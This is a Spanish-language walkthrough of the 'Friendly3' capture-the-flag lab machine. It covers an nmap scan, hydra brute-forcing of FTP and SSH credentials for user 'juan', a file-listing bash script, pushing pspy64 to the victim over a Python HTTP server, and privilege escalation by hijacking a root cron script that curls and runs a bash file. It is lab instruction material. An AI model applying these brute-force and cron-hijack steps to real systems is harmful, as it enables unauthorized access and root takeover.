Friendly3

Fase de reconocimiento

nmap -p- -sSVC --min-rate 5000 192.168.8.114 -oG allPorts -vvv

Un escaneo de nmap nos muestra los puertos los cuales tiene abierto la maquian victima, y son el 21 (FTP), 22 (SSH) y 80 (HTTP)

Fase de intrusión

En la página web nos encontramos lo siguiente, podemos ver un usuario "juan" (Hice fuzzing con gobuster pero no encontré nada):

Así que vamos a ver que hay en el FTP, y no podemos ver lo que hay adentro sin proveer unos credenciales validos, estoy pensando en hacer un ataque de fuerza bruta a el usuario juan:

Con el ataque de fuerza bruta de hydra encontramos con exito los credenciales

hydra -l juan -P /usr/share/wordlists/rockyou.txt -I ftp://192.168.8.114 -VI -f

Nos descargamos todos los archivos del ftp con wget

Hacemos un ls -alR para ver que archivos contienen algo dentro de ellos revisando su interior con su tamaño, se puede hacer de está manera, o automatizándolo con un script en bash usando find:

#!/bin/bash

find . -type d,f -size +0c ! -size 4096c -not -name "script.sh" -print0 | while IFS= read -r -d '' elemento;do
    tamano=$(du -sb "$elemento" | cut -f1)
    echo "Elemento: $elemento - TamaC1o: $tamano bytes"
    cat "$elemento" 
done

Podemos encontrar lo siguiente dentro de los archivos:

Hacemos un ataque de fuerza bruta otra vez con hydra, para saber la contraseña del ssh, y es la misma que previamente habíamos obetenido haciendo fuerza bruta al ftp:

Escalada de privilegios

La pista que nos dejo en el ftp (que por cierto también está dentro del usuario juan) parece ser mentira puesto que he decodificado el mensaje y era "mypassword.txt", archivo el cual no es existe en el sistema, me desplazo a root y encuentro dentro de /opt un archivo en bash el cual me interesa bastante, ya que dentro tiene lo siguiente:

Está haciendo un curl a un archivo de nuestra sistema (IP de loopback, pero como es http: pues lo busca en la web) y despues esta mandando ese mismo archivo a /tmp/a.bash, luego le da permisos de ejecutacion, escritura y lectura y lo abre con /bin/bash, para posteriormente eliminarlo.

Bien, aquí voy a importar pspy64 (Podeis encontrar el binario en github) y me lo voy a mandar abriendo un servidor python (python3 -m http.server) y despues desde la maquina victima haciendo un curl ip:puerto/pspy64 --output pspy. Una vez en la maquina victima, le damos permisos de ejecución (chmod +x pspy64) y lo ejecutamos:

Podemos ver que se ejecuta cada minuto el archivo .sh que he enseñado previamente. Podríamos hacer un bucle para insertar automáticamente dentro de "a.bash".

Esperamos a que se ejecute check_for_install.sh, y cuando lo haga los permisos de la bash cambiaran, y cualquier usuario los podrá ejecutarlo como un superuser:

Last updated